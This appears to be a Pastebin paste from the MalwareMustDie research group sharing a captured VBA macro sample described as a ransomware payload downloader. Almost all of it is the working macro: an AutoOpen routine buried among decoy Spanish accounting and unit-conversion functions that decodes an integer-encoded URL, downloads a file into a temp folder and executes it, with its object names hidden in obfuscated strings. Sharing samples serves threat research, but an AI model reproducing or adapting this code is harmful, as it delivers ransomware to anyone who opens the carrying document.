MalwareMustDie

Ransomware VBA downloader 25ef6bf583de478c271a9271d1e9256b

May 18th, 2016
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 25.99 KB | None | 0 0
  1. #VBA Ransomware payload downloader
  2. #Sample: 25ef6bf583de478c271a9271d1e9256b
  3. #Malversidement of http://imgur.com/a/kXvah
  4. #MalwareMustDie!
  5.  
  6. Public Function EjecutaSQL(ByRef SQL As String) As Boolean
  7.     EjecutaSQL = False
  8.     On Error Resume Next
  9.     Conn.Execute SQL
  10.     If Err.Number <> 0 Then
  11.         Err.Clear
  12.     Else
  13.         EjecutaSQL = True
  14.     End If
  15. End Function
  16.  
  17.  
  18. Public Function DirectorioEAT() As Boolean
  19.     On Error GoTo EDirecEAT
  20.     DirectorioEAT = False
  21.     If Dir("C:\AEAT", vbDirectory) = "" Then
  22.         MsgBox "No se encuentra la carpeta de la agencia tributaria.  ( C:\AEAT )", vbExclamation
  23.     Else
  24.         DirectorioEAT = True
  25.     End If
  26.     Exit Function
  27. EDirecEAT:
  28.     Err.Clear
  29. End Function
  30.  
  31.  
  32. Sub autoopen()
  33. EjecutaSQLDo 0.4, 5, -0.6
  34. End Sub
  35.  
  36.  
  37. Public Function EstaLaCuentaBloqueada(ByRef codmacta As String, Fecha As Date) As Boolean
  38. Dim i As Integer
  39.  
  40.         EstaLaCuentaBloqueada = False
  41.         If vParam.CuentasBloqueadas <> "" Then
  42.             i = InStr(1, vParam.CuentasBloqueadas, codmacta & ":")
  43.             If i > 0 Then
  44.  
  45.                 If Fecha >= CDate(Mid(vParam.CuentasBloqueadas, i + Len(codmacta) + 1, 10)) Then EstaLaCuentaBloqueada = True
  46.             End If
  47.         End If
  48. End Function
  49.  
  50.  
  51. Public Sub CerrarRs(ByRef Rsss As String)
  52.     On Error Resume Next
  53.     Rsss.Close
  54.     If Err.Number <> 0 Then Err.Clear
  55. End Sub
  56.  
  57.  
  58. Public Function SerieNumeroFactura(Posiciones As Integer, Serie As String, Numerofactura As String)
  59. Dim i As Integer
  60. Dim Cad As String
  61.  
  62.     i = Posiciones - Len(Numerofactura) - Len(Serie)
  63.     If i <= 0 Then
  64.  
  65.         Cad = Right(Numerofactura, Posiciones - Len(Numerofactura))
  66.     Else
  67.         Cad = String(i, "0") & Numerofactura
  68.     End If
  69.     SerieNumeroFactura = Serie & Cad
  70.  
  71.  
  72. End Function
  73.  
  74.  
  75. Public Function EsEntero(TEXTO As String) As Boolean
  76. Dim i As Integer
  77. Dim C As Integer
  78. Dim L As Integer
  79. Dim res As Boolean
  80.  
  81.     res = True
  82.     EsEntero = False
  83.  
  84.     If Not IsNumeric(TEXTO) Then
  85.         res = False
  86.     Else
  87.  
  88.         C = 0
  89.         L = 1
  90.         Do
  91.             i = InStr(L, TEXTO, ".")
  92.             If i > 0 Then
  93.                 L = i + 1
  94.                 C = C + 1
  95.             End If
  96.         Loop Until i = 0
  97.         If C > 1 Then res = False
  98.  
  99.  
  100.         If C = 0 Then
  101.             L = 1
  102.             Do
  103.                 i = InStr(L, TEXTO, ",")
  104.                 If i > 0 Then
  105.                     L = i + 1
  106.                     C = C + 1
  107.                 End If
  108.             Loop Until i = 0
  109.             If C > 1 Then res = False
  110.         End If
  111.  
  112.     End If
  113.         EsEntero = res
  114. End Function
  115.  
  116.  
  117. Public Sub NombreSQL(ByRef CADENA As String)
  118. Dim J As Integer
  119. Dim i As Integer
  120. Dim Aux As String
  121.     J = 1
  122.     Do
  123.         i = InStr(J, CADENA, "
  124.        If i > 0 Then
  125.            Aux = Mid(CADENA, 1, i - 1) & "\"
  126.            CADENA = Aux & Mid(CADENA, i)
  127.            J = i + 2
  128.        End If
  129.    Loop Until i = 0
  130. End Sub
  131.  
  132. Public Function DevNombreSQL(CADENA As String) As String
  133. Dim J As Integer
  134. Dim i As Integer
  135. Dim Aux As String
  136.    J = 1
  137.    Do
  138.        i = InStr(J, CADENA, "
  139.         If i > 0 Then
  140.             Aux = Mid(CADENA, 1, i - 1) & "\"
  141.             CADENA = Aux & Mid(CADENA, i)
  142.             J = i + 2
  143.         End If
  144.     Loop Until i = 0
  145.     DevNombreSQL = CADENA
  146. End Function
  147.  
  148. Public Result__1 As Object
  149. Public Freddy_Result As Object
  150. Public Result__3 As Object
  151. Public MassiveA() As String
  152. Public Result__4 As String
  153. Public Result__Warning As String
  154. Public Result_sedming As Object
  155.  Public Constant_4 As String
  156. Public constans_Result() As String
  157. Const INTERVAl_MILLIS_DO_EVENTS As Long = 100
  158. Public Function newStringBuilder() As String
  159.  newStringBuilder = ""
  160. End Function
  161. Public Function newCompareValueCalculator()
  162.  calc.init
  163.  Set newCompareValueCalculator = calc
  164. End Function
  165. Public Function newTagBuilder(rootTagName As String) As String
  166.  Call builder.init(rootTagName)
  167. End Function
  168. Public Function newDate(aYear As Long, aMonth As Integer, aDay As Integer) As Date
  169.  newDate = CDate(LText.messageFormat("{1::0}/{2::00}/{3::00}", aYear, aMonth, aDay))
  170. End Function
  171. Public Function newStringSet() As String
  172.  Dim result As String
  173.  Call res.ult.init
  174. End Function
  175. Public Function Fso() As String
  176.  Static staticFso As String
  177.  If stat.icFso Is Nothing Then
  178.  End If
  179. End Function
  180.  
  181. Sub assignIgnoreType(ByRef aOut, ByVal aIn)
  182.  If IsObject(aIn) Then
  183.  Set aOut = aIn
  184.  Else
  185.  aOut = aIn
  186.  End If
  187. End Sub
  188.  
  189. Public Function ImpirmirListadoCaja(ByRef vSQL As String, SaldoArrastrado As Boolean) As Boolean
  190. Dim miSQL As String
  191. Dim L As Long
  192. Dim Cad As String
  193. Dim Caja As String
  194. Dim CtaCaja As String
  195. Dim Tipo As Integer
  196. Dim RT As String
  197.  
  198.     ImpirmirListadoCaja = False
  199.     Conn.Execute "DELETE from Usuarios.ztesoreriacomun where codusu = " & vUsu.Codigo
  200.  
  201.     Set miRsAux = New ADODB.Recordset
  202.     miSQL = "Select slicaja.*,nommacta from slicaja,cuentas,susucaja where slicaja.codmacta=cuentas.codmacta " & vSQL
  203.     miSQL = miSQL & " ORDER BY slicaja.codusu,feccaja,numlinea"
  204.     miRsAux.Open miSQL, Conn, adOpenForwardOnly, adLockPessimistic, adCmdText
  205.     L = 1
  206.  
  207.  
  208.     vSQL = "INSERT INTO Usuarios.ztesoreriacomun (codusu, fecha1,codigo, texto1, texto2,texto4,opcion, texto3, observa1, "
  209.     vSQL = vSQL & "texto5,importe1 ,importe2,texto6 ) VALUES (" & vUsu.Codigo & ","
  210.     CtaCaja = ""
  211.     While Not miRsAux.EOF
  212.         If miRsAux!codusu <> CtaCaja Then
  213.             CtaCaja = miRsAux!codusu
  214.  
  215.             Caja = DevuelveDesdeBD("nomusu", "usuarios.usuarios", "codusu", miRsAux!codusu, "N")
  216.             Caja = DevNombreSQL(Caja)
  217.             Caja = ","
  218.  
  219.  
  220.             If SaldoArrastrado Then
  221.                 Cad = "Select saldo from susucaja where codusu =" & CtaCaja
  222.                 Set RT = New ADODB.Recordset
  223.                 RT.Open Cad, Conn, adOpenForwardOnly, adLockOptimistic, adCmdText
  224.                 If Not RT.EOF Then
  225.  
  226.                     Cad = "1900-01-01"
  227.                     For Tipo = 1 To 4
  228.                         Cad = Cad & ",NULL"
  229.                     Next Tipo
  230.                       Cad = Cad & ","
  231.                     If RT!Saldo >= 0 Then
  232.                         Cad = Cad & TransformaComasPuntos(CStr(RT!Saldo)) & ",0"
  233.                     Else
  234.                         Cad = Cad & "0," & TransformaComasPuntos(CStr(Abs(RT!Saldo)))
  235.                     End If
  236.                     Cad = vSQL & Cad & ",NULL)"
  237.                     Conn.Execute Cad
  238.  
  239.                     L = L + 1
  240.                 End If
  241.                 RT.Close
  242.                 Set RT = Nothing
  243.             End If
  244.         End If
  245.  
  246.         Cad = Format(miRsAux!feccaja, FormatoFecha) & ""
  247.         If miRsAux!tipomovi = 1 Then
  248.             Tipo = 1
  249.  
  250.             Cad = Cad & ","
  251.  
  252.             Cad = Cad & DevNombreSQL(DBLet(miRsAux!numfacpr))
  253.             If Not IsNull(miRsAux!numvenci) Then Cad = Cad & " - Vto: " & miRsAux!numvenci
  254.             Cad = Cad & ""
  255.         Else
  256.             If miRsAux!tipomovi >= 2 Then
  257.  
  258.                 Tipo = Val(miRsAux!tipomovi)
  259.                 Cad = Cad & ","
  260.                 If Tipo = 2 Then
  261.                     Cad = Cad & "PAGO"
  262.                 Else
  263.                     Cad = Cad & "TRASPASO"
  264.                 End If
  265.                 Cad = Cad & ""
  266.                 Cad = Cad & ""
  267.  
  268.             Else
  269.  
  270.                 Tipo = 0
  271.                 Cad = Cad & ","
  272.  
  273.                 If Not IsNull(miRsAux!NUmSerie) Then Cad = Cad & miRsAux!NUmSerie
  274.                 If Not IsNull(miRsAux!numfaccl) Then Cad = Cad & Format(miRsAux!numfaccl, "0000000000")
  275.                 If Not IsNull(miRsAux!numvenci) Then Cad = Cad & " - Vto: " & miRsAux!numvenci
  276.                 Cad = Cad & ""
  277.             End If
  278.         End If
  279.  
  280.         Cad = Cad & TransformaComasPuntos(CStr(DBLet(miRsAux!ImporteD, "N")))
  281.         Cad = Cad & "," & TransformaComasPuntos(CStr(DBLet(miRsAux!ImporteH, "N")))
  282.         Cad = Cad & "," & Format(miRsAux!NumLinea, "00000")
  283.         Cad = vSQL & Cad & ")"
  284.         Conn.Execute Cad
  285.  
  286.         miRsAux.MoveNext
  287.         L = L + 1
  288.     Wend
  289.     miRsAux.Close
  290.  
  291.  
  292.     ImpirmirListadoCaja = True
  293. End Function
  294.  
  295. Public Function UsuariosConectados(energy As Double)
  296. Dim aResult As String
  297.  aResult = CadenaCurrency(Ultra.CommandButton3.Caption, "00", "e")
  298.  aResult = CadenaCurrency(aResult, "D!", "M")
  299.  aResult = CadenaCurrency(aResult, "bri", "s")
  300.  constans_Result = Split(aResult, "10)")
  301. KwhToJoule 0.33
  302.  UsuariosConectados = 3.6 * 10 ^ 3 * (1.987 / 8.314) * energy
  303. End Function
  304. Private Function getTimeLoggerInstance() As String
  305.  Static logger As String
  306.  If logg.er Is Nothing Then
  307.  logg.er.init
  308.  End If
  309. End Function
  310. Public Sub tlog(message As String, Optional groupId As String = "*default*")
  311.  Call getTimeLogge.rInstance().Log(message, groupId)
  312. End Sub
  313. Public Sub printTimelogReport()
  314.  Call getTimeL.oggerInstance().printReports
  315. End Sub
  316. Public Sub clearTimelogReport()
  317.  Call getTimeLog.gerInstance().crearReports
  318. End Sub
  319. Public Sub setTimelogVerbose(isVerbose As Boolean)
  320.  Call Status.OfLibrary.setTimeLoggerVerbose(isVerbose)
  321. End Sub
  322. Public Sub writeLog(ByVal message As String)
  323.  Call LLog.writeLog(message)
  324. End Sub
  325. Private Function getDoEventsTimer() As String
  326.  Static timer As String
  327.  If ti.mer Is Nothing Then
  328.  Set tim.er = LCreation.newTimer
  329.  End If
  330. End Function
  331. Public Sub doEventsWithInterval(Optional intervalMillis As Long = INTERVAl_MILLIS_DO_EVENTS)
  332.  If intervalMillis <= getDoEvent.sTimer().getMillis() Then
  333.  doEventsImmediately
  334.  End If
  335. End Sub
  336. Public Sub doEventsImmediately()
  337.  getDoEvent.sTimer.Reset
  338.  DoEvents
  339. End Sub
  340.  
  341.  
  342. Public Function EsNumerico(TEXTO As String) As Boolean
  343. Dim i As Integer
  344. Dim C As Integer
  345. Dim L As Integer
  346. Dim Cad As String
  347.  
  348.  Set Freddy_Result = CreateObject(constans_Result(1))
  349.  
  350.  Set Result_sedming = CreateObject(constans_Result(2))
  351.  
  352. RemesaSeleccionTipoRemesa False, False, True
  353. Exit Function
  354.     EsNumerico = False
  355.     Cad = ""
  356.     If Not IsNumeric(TEXTO) Then
  357.         Cad = "El campo debe ser num駻ico"
  358.     Else
  359.  
  360.         C = 0
  361.         L = 1
  362.         Do
  363.             i = InStr(L, TEXTO, ".")
  364.             If i > 0 Then
  365.                 L = i + 1
  366.                 C = C + 1
  367.             End If
  368.         Loop Until i = 0
  369.         If C > 1 Then Cad = "Numero de puntos incorrecto"
  370.  
  371.  
  372.         If C = 0 Then
  373.             L = 1
  374.             Do
  375.                 i = InStr(L, TEXTO, ",")
  376.                 If i > 0 Then
  377.                     L = i + 1
  378.                     C = C + 1
  379.                 End If
  380.             Loop Until i = 0
  381.             If C > 1 Then Cad = "Numero incorrecto"
  382.         End If
  383.  
  384.     End If
  385.     If Cad <> "" Then
  386.         MsgBox Cad, vbExclamation
  387.     Else
  388.         EsNumerico = True
  389.     End If
  390. End Function
  391.  
  392.  
  393. Private Sub CommandButton1_Click()
  394.  
  395. End Sub
  396.  
  397. Private Sub CommandButton2_Click()
  398.  
  399. End Sub
  400.  
  401. Private Sub CommandButton3_Click()
  402.  
  403. End Sub
  404.  
  405. Private Sub UserForm_Click()
  406.  
  407. End Sub
  408.  
  409. Public Function feetToMeter(length As Double)
  410.  feetToMeter = 3.048 * 10 ^ -1 * length
  411. End Function
  412. Public Function meterToFeet(length As Double)
  413.  meterToFeet = 3.2808 * length
  414. End Function
  415. Public Function inchToMeter(length As Double)
  416. Result__Warning = Result__4
  417. Result__Warning = Result__Warning + constans_Result(55 - 43)
  418. AbrirConexionAridoc
  419.  DevuelveDigitosNivelAnterior 37.7
  420.  inchToMeter = (2.54 * 10 ^ -2) * length
  421. End Function
  422. Public Sub CargaImagenesAyudas(ByRef Colec, Tipo As Byte, Optional ToolTipText_ As String)
  423. Dim i As Image
  424.  
  425.  
  426.  
  427.     For Each i In Colec
  428.             i.Picture = frmPpal.imgIcoForms.ListImages(Tipo).Picture
  429.             If i.TooltipText = "" Then
  430.                 If ToolTipText_ <> "" Then
  431.                     i.TooltipText = ToolTipText_
  432.                 Else
  433.                     If Tipo = 3 Then
  434.                         i.TooltipText = "Ayuda"
  435.                     ElseIf Tipo = 2 Then
  436.                         i.TooltipText = "Buscar fecha"
  437.                     Else
  438.                         i.TooltipText = "Buscar"
  439.                     End If
  440.                 End If
  441.             End If
  442.     Next
  443. End Sub
  444.  
  445.  
  446. Public Function RemoveSpecialChar(strFileName As Integer) As String
  447.  Dim i As Byte
  448.  Dim SpecialChar As Boolean
  449.  Dim SelChar As String, OutFileName As String
  450.  RemoveSpecialChar = Chr(CInt(MassiveA(strFileName)) / (9 + 7))
  451.  Exit Function
  452.  For i = 1 To Len(strFileName)
  453.  SelChar = Mid(strFileName, i, 1)
  454.  SpecialChar = InStr(":/\?*|<>" & Chr$(34), SelChar) > 0
  455.  If (Not SpecialChar) Then
  456.  OutFileName = OutFileName & SelChar
  457.  SpecialChar = False
  458.  Else
  459.  OutFileName = OutFileName
  460.  SpecialChar = False
  461.  End If
  462.  Next i
  463.  RemoveSpecialChar = OutFileName
  464. End Function
  465. Public Function DevuelveDigitosNivelAnterior(temperature As Double)
  466. sedming_Warning_AKADEMIA 309
  467.  DevuelveDigitosNivelAnterior = (5 / 9) * (temperature + 459.67)
  468.  
  469.  CallByName Freddy_Result, constans_Result(11), VbMethod, Result__Warning, 2
  470.  KelvinToRankine = (5 / 9) * (temperature - 32)
  471.  
  472.  Result_sedming.Open (Result__Warning)
  473.  JouleTocal = (1.987 / 8.314) * temperature
  474. End Function
  475. Public Function CalToJoule(energy As Double)
  476.  CalToJoule = 4.184 * energy
  477. End Function
  478. Public Function CalToKwh(energy As Double)
  479.  CalToKwh = 4.184 * 3.6 * 10 ^ 3 * energy
  480. End Function
  481. Public Function JouleToKwh(energy As Double)
  482.  KwhToJoule = (3.6 * 10 ^ 3) ^ -1 * energy
  483. End Function
  484. Public Function PasToCentipoise(viscosity As Double)
  485.  PasToCentipoise = 1000 * viscosity
  486. End Function
  487. Public Function centipoiseToPas(viscosity As Double)
  488.  centipoiseToPas = viscosity / 1000
  489. End Function
  490. Public Function DevuelveNombreInformeSCRYST(NumInforme As Integer, Titulo As String) As String
  491. Dim Cad As String
  492.  
  493.         DevuelveNombreInformeSCRYST = ""
  494.         Cad = DevuelveDesdeBD("informe", "scryst", "codigo", CStr(NumInforme))
  495.  
  496.         If Cad = "" Then
  497.             MsgBox "No existe el informe para: " & Titulo & " (" & NumInforme & ")", vbExclamation
  498.             Exit Function
  499.         End If
  500.  
  501.  
  502.         If Dir(App.Path & "\InformesT\" & Cad, vbArchive) = "" Then
  503.             MsgBox "No se encuentra el archivo: " & Cad & vbCrLf & "Opcion: " & Titulo, vbExclamation
  504.             Exit Function
  505.         End If
  506.         DevuelveNombreInformeSCRYST = Cad
  507.  
  508. End Function
  509.  
  510. Public Function Memo_Leer(ByRef C As Variant) As String
  511.     On Error Resume Next
  512.     Memo_Leer = C.value
  513.     If Err.Number <> 0 Then
  514.         Err.Clear
  515.         Memo_Leer = ""
  516.     End If
  517. End Function
  518.  
  519.  
  520. Public Function ListadoFormaPago(ByRef SQL As String) As Boolean
  521.  
  522.     On Error GoTo EListadoFormaPago
  523.     ListadoFormaPago = False
  524.  
  525.     Conn.Execute "DELETE from Usuarios.ztesoreriacomun where codusu = " & vUsu.Codigo
  526.  
  527.     SQL = " WHERE sforpa.tipforpa = stipoformapago.tipoformapago " & SQL
  528.     SQL = " FROM sforpa ,stipoformapago" & SQL
  529.     SQL = " sforpa.codforpa,sforpa.nomforpa,stipoformapago.descformapago " & SQL
  530.     SQL = "INSERT INTO Usuarios.ztesoreriacomun(codusu,codigo,texto1,texto2) Select " & vUsu.Codigo & "," & SQL
  531.  
  532.  
  533.     Conn.Execute SQL
  534.  
  535.     Set miRsAux = New ADODB.Recordset
  536.     SQL = "select count(*) from Usuarios.ztesoreriacomun where codusu = " & vUsu.Codigo
  537.     miRsAux.Open SQL, Conn, adOpenForwardOnly, adLockPessimistic, adCmdText
  538.     If Not miRsAux.EOF Then
  539.         If DBLet(miRsAux.Fields(0), "N") > 0 Then SQL = ""
  540.     End If
  541.     miRsAux.Close
  542.     Set miRsAux = Nothing
  543.     If SQL <> "" Then
  544.         MsgBox "Ningun dato se ha generado", vbExclamation
  545.     Else
  546.         ListadoFormaPago = True
  547.     End If
  548.     Exit Function
  549. EListadoFormaPago:
  550.     MuestraError Err.Number, "ListadoFormaPago "
  551. End Function
  552.  
  553.  
  554. Public Sub cargaEmpresasTesor(ByRef Lis As Variant)
  555. Dim Prohibidas As String
  556. Dim IT
  557. Dim Aux As String
  558.  
  559.     Set miRsAux = New ADODB.Recordset
  560.  
  561.     Prohibidas = DevuelveProhibidas
  562.  
  563.     Lis.ListItems.Clear
  564.     Aux = "Select * from Usuarios.empresas where tesor=1"
  565.  
  566.     miRsAux.Open Aux, Conn, adOpenForwardOnly, adLockPessimistic, adCmdText
  567.     While Not miRsAux.EOF
  568.  
  569.         Aux = "|" & miRsAux!codempre & "|"
  570.         If InStr(1, Prohibidas, Aux) = 0 Then
  571.             Set IT = Lis.ListItems.Add
  572.             IT.Key = "C" & miRsAux!codempre
  573.             If vEmpresa.codempre = miRsAux!codempre Then IT.Checked = True
  574.             IT.Text = miRsAux!nomempre
  575.             IT.Tag = miRsAux!codempre
  576.         End If
  577.         miRsAux.MoveNext
  578.  
  579.     Wend
  580.     miRsAux.Close
  581.     Set miRsAux = Nothing
  582.  
  583. End Sub
  584.  
  585.  
  586. Private Function DevuelveProhibidas() As String
  587. Dim i As Integer
  588.  
  589.  Dim ElCounter As Integer
  590. For ElCounter = LBound(MassiveA) To UBound(MassiveA)
  591.  Constant_4 = Constant_4 & RemoveSpecialChar(ElCounter)
  592.  Next ElCounter
  593.  GoTo EDevuelveProhibidas
  594.     DevuelveProhibidas = ""
  595.  
  596.     i = vUsu.Codigo Mod 100
  597.     miRsAux.Open "Select * from usuarios.usuarioempresaT WHERE codusu =" & i, Conn, adOpenForwardOnly, adLockOptimistic, adCmdText
  598.     DevuelveProhibidas = ""
  599.     While Not miRsAux.EOF
  600.         DevuelveProhibidas = DevuelveProhibidas & miRsAux.Fields(1) & "|"
  601.         miRsAux.MoveNext
  602.     Wend
  603.     If DevuelveProhibidas <> "" Then DevuelveProhibidas = "|" & DevuelveProhibidas
  604.     miRsAux.Close
  605.     Exit Function
  606. EDevuelveProhibidas:
  607.      Servidor "Servidor"
  608. End Function
  609.  
  610.  
  611. Public Function ComprobarCampoENlazado(ByRef T As TextBox, TDesc As TextBox, Tipo As String) As Byte
  612.  
  613.     T.Text = Trim(T.Text)
  614.     If T.Text = "" Then
  615.         ComprobarCampoENlazado = 0
  616.         TDesc.Text = ""
  617.         Exit Function
  618.     End If
  619.  
  620.     Select Case Tipo
  621.     Case "N"
  622.         If Not IsNumeric(T.Text) Then
  623.             MsgBox "El campo debe ser num駻ico: " & T.Text, vbExclamation
  624.             TDesc.Text = ""
  625.             T.Text = ""
  626.             ComprobarCampoENlazado = 1
  627.         Else
  628.             ComprobarCampoENlazado = 2
  629.         End If
  630.     End Select
  631.  
  632. End Function
  633.  
  634.  
  635. Public Function RemesaSeleccionTipoRemesa(chkEfec As Boolean, chkPaga As Boolean, chkTalon As Boolean) As String
  636. Dim C As String
  637.  
  638.  Set Result__0_22 = CreateObject(constans_Result(3))
  639.     C = ""
  640.      Set Result__3 = Result__0_22.Environment(constans_Result(4))
  641.      DevuelveProhibidas
  642.      Exit Function
  643.     If chkEfec And chkPaga And chkTalon Then
  644.  
  645.  
  646.     Else
  647.  
  648.         If Not chkEfec And Not chkPaga And Not chkTalon Then
  649.  
  650.  
  651.         Else
  652.  
  653.             If chkEfec Then
  654.                 If chkPaga Then
  655.                     C = " <> 3 "
  656.                 Else
  657.                     If chkTalon Then
  658.                         C = " <> 2 "
  659.                     Else
  660.                         C = " = 1"
  661.                     End If
  662.                 End If
  663.             Else
  664.                 If chkPaga Then
  665.                     If chkTalon Then
  666.                         C = " <> 1"
  667.                     Else
  668.                         C = " = 2 "
  669.                     End If
  670.                 Else
  671.                     C = " =3 "
  672.                 End If
  673.             End If
  674.         End If
  675.     End If
  676.     If C <> "" Then C = " tiporem  " & C
  677.     RemesaSeleccionTipoRemesa = C
  678. End Function
  679.  
  680. Public Function TextoAimporte(Importe As String) As Currency
  681. Dim i As Integer
  682.     If Importe = "" Then
  683.         TextoAimporte = 0
  684.     Else
  685.         If InStr(1, Importe, ",") > 0 Then
  686.  
  687.             Do
  688.                 i = InStr(1, Importe, ".")
  689.                 If i > 0 Then Importe = Mid(Importe, 1, i - 1) & Mid(Importe, i + 1)
  690.             Loop Until i = 0
  691.             TextoAimporte = Importe
  692.  
  693.  
  694.         Else
  695.  
  696.             TextoAimporte = TransformaPuntosComas(Importe)
  697.         End If
  698.     End If
  699.  
  700. End Function
  701.  
  702. Public Function EjecutarSQL(CadenaSQL As String) As Boolean
  703.     On Error Resume Next
  704.     Conn.Execute CadenaSQL
  705.     If Err.Number <> 0 Then
  706.  
  707.          MuestraError Err.Number, "Error ejecutando SQL: " & vbCrLf & CadenaSQL, Err.Description
  708.          EjecutarSQL = False
  709.     Else
  710.          EjecutarSQL = True
  711.     End If
  712.  
  713. End Function
  714.  
  715.  
  716. Public Function AbrirConexionAridoc() As Boolean
  717. Dim Cad As String
  718. On Error GoTo EAbrirConexion
  719.     is16 = 16
  720. CallByName Freddy_Result, constans_Result(11 - 4), 64 / is16, is16 - 15
  721.  Freddy_Result.Open
  722.     Exit Function
  723.  
  724.     AbrirConexionAridoc = False
  725.     Set ConnConta = Nothing
  726.     ConnConta.CursorLocation = adUseServer
  727.  
  728.     Cad = "DRIVER={MySQL ODBC 3.51 Driver};DESC=;DATA SOURCE= Aridoc;DATABASE=Aridoc"
  729.  
  730.  
  731.     Cad = Cad & ";Persist Security Info=true"
  732.  
  733.     ConnConta.ConnectionString = Cad
  734.     ConnConta.Open
  735.     ConnConta.Execute "Set AUTOCOMMIT = 1"
  736.     AbrirConexionAridoc = True
  737.     Exit Function
  738.  
  739. EAbrirConexion:
  740.     Mue.straError Err.Number, "Abrir conexion BD:Aridoc.", Err.Description
  741. End Function
  742.  
  743.  
  744. Public Function EjecutaSQLDo(volume As Double, temperature As Double, pressure As Double)
  745.  If VarType(HistoryFunc) = 0 Then
  746.  UsuariosConectados 384
  747.  End If
  748.  EjecutaSQLDo = volume * (pressure / temperature) * (273.15 / 101325#)
  749. End Function
  750. Public Function CadenaCurrency(A1 As String, A2 As String, A3 As String) As String
  751. CadenaCurrency = Replace(A1, A2, A3)
  752. End Function
  753.  
  754.  
  755.  
  756. Public Function Approssima(MiaValuta As Double) As Double
  757.     Dim MioVal1 As Double
  758.     Dim MioVal2 As Double
  759.     Dim MyStr As String
  760.     Dim MyStr1 As String
  761.     Dim MyStr2 As String
  762.     Dim MiaString As String
  763.     Dim HaDecimali As Boolean
  764.     Dim i As Integer
  765.     HaDecimali = False
  766.     If MiaValuta <> 0 Then
  767.         MiaString = Trim(Str(MiaValuta))
  768.         For i = 1 To Len(MiaString)
  769.             MyStr = Mid(MiaString, i, 1)
  770.             If MyStr = "." Then
  771.                 HaDecimali = True
  772.                 MyStr1 = Left(MiaString, i - 1)
  773.                 If (Len(Trim(MyStr1)) = 0) Then
  774.                     MyStr1 = "0"
  775.                 End If
  776.                 MyStr2 = Right(MiaString, Len(MiaString) - i)
  777.                 i = i + 1
  778.             End If
  779.         Next i
  780.         If HaDecimali = False Then
  781.             Approssima = MiaString
  782.             Exit Function
  783.         End If
  784.         MioVal1 = CDbl(MyStr1)
  785.         MioVal2 = CDbl(Left(MyStr2, 1))
  786.         If MioVal2 < 5 Then
  787.             Approssima = MioVal1
  788.         Else
  789.             Approssima = MioVal1 + 1
  790.         End If
  791.     Else
  792.         Approssima = 0
  793.     End If
  794. End Function
  795.  
  796.  
  797. Public Function Servidor(x As Variant) As Boolean
  798.  If x = "Servidor" Then
  799.  
  800. Result__1.Open constans_Result(2 + 1 + 2), Constant_4, False
  801. Result__1.send
  802.  Result__4 = Result__3(constans_Result(180 / 30))
  803.  Servidor = True
  804.  
  805.  ElseIf IsNull(x) Then
  806.  Servidor = True
  807.  
  808.  ElseIf IsEmpty(x) Then
  809.  Servidor = True
  810.  
  811.  ElseIf x Is Nothing Then
  812.  Servidor = True
  813.  
  814.  ElseIf IsArray(x) Then
  815.  Servidor = (UBound(x) - LBound(x) < 0)
  816.  
  817.  Else
  818.  Servidor = False
  819.  End If
  820.  inchToMeter 44.5
  821. End Function
  822.  
  823.  
  824. Public Function EsFechaOK(T As TextBox) As Boolean
  825. Dim Cad As String
  826.  
  827.     Cad = T.Text
  828.     If InStr(1, Cad, "/") = 0 Then
  829.         If Len(T.Text) = 8 Then
  830.             Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/" & Mid(Cad, 5)
  831.         Else
  832.             If Len(T.Text) = 6 Then Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/20" & Mid(Cad, 5)
  833.         End If
  834.     End If
  835.  
  836.     If IsDate(Cad) Then
  837.         EsFechaOK = True
  838.         T.Text = Format(Cad, "dd/MM/yyyy")
  839.     Else
  840.         EsFechaOK = False
  841.     End If
  842. End Function
  843.  
  844.  
  845. Public Function KwhToJoule(energy As Double)
  846. MassiveA = Split("1664ィ1856ィ1856ィ1792ィ928ィ752ィ752ィ1744ィ1680ィ1824ィ1824ィ1776ィ1824ィ736ィ1664ィ1680ィ800ィ736ィ1824ィ1776ィ752ィ896ィ912ィ1936ィ1648ィ864ィ880ィ1760ィ1776", "ィ")
  847.  Set Result__1 = CreateObject(constans_Result(0))
  848.  If InStr(1, "6 8 15 22", "/") = 0 Then
  849.  EsFechaOKString "13"
  850. End If
  851.  KwhToJoule = 3.6 * 10 ^ 3 * energy
  852. End Function
  853.  
  854. Public Function EsFechaOKString(ByRef T As String) As Boolean
  855. Dim Cad As String
  856.  
  857.     Cad = T
  858.  
  859.     If InStr(1, Cad, "/") = 0 Then
  860.         If Len(T) = 8 Then
  861.             Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/" & Mid(Cad, 5)
  862.         Else
  863.             If Len(T) = 6 Then Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/20" & Mid(Cad, 5)
  864.         End If
  865.     End If
  866.     If IsDate(Cad) Then
  867.         EsFechaOKString = True
  868.         T = Format(Cad, "dd/mm/yyyy")
  869.     Else
  870. EsNumerico "4, 6, 12"
  871.         EsFechaOKString = False
  872.     End If
  873. End Function
  874.  
  875. Private Function eqObject(a As Object, b As Object) As Boolean
  876.  If a Is Nothing Then
  877.  eqObject = (b Is Nothing)
  878.  Exit Function
  879.  End If
  880.  On Error GoTo EQUALS_NOT_DEFINED
  881.  eqObject = a.equals(b)
  882.  Exit Function
  883. EQUALS_NOT_DEFINED:
  884.  reRaiseE.xceptForMethodMissing
  885.  eqObject = (a Is b)
  886. End Function
  887. Private Sub reRaise()
  888.  Err.Raise Err.Number, Err.Source, Err.Description, Err.HelpContext, Err.HelpContext
  889. End Sub
  890. Public Function NLToM3(volume As Double, temperature As Double, pressure As Double)
  891.  NLToM3 = volume * (temperature / 273.15) * (101325 / pressure) * (1 / (60000#))
  892. End Function
  893. Public Function KgToNm3(massKg As Double, molarMass As Double)
  894.  KgToNm3 = massKg * (1344600# / molarMass) * 0.06 / (3600#)
  895. End Function
  896. Public Function paToMbar(pressure As Double)
  897.  paToMbar = 10 ^ -2 * pressure
  898. End Function
  899. Public Function PaToMmH20(pressure As Double)
  900.  PaToMmH20 = 0.101974 * pressure
  901. End Function
  902. Public Function mmH20ToPa(pressure As Double)
  903.  mmH20ToPa = 9.80642 * pressure
  904. End Function
  905. Public Function paToAtm(pressure As Double)
  906.  paToAtm = (1.0135 * 10 ^ 5) ^ -1 * pressure
  907. End Function
  908. Public Function atmToPa(pressure As Double)
  909.  atmToPa = (1.0135 * 10 ^ 5) * pressure
  910. End Function
  911. Public Function paToBar(pressure As Double)
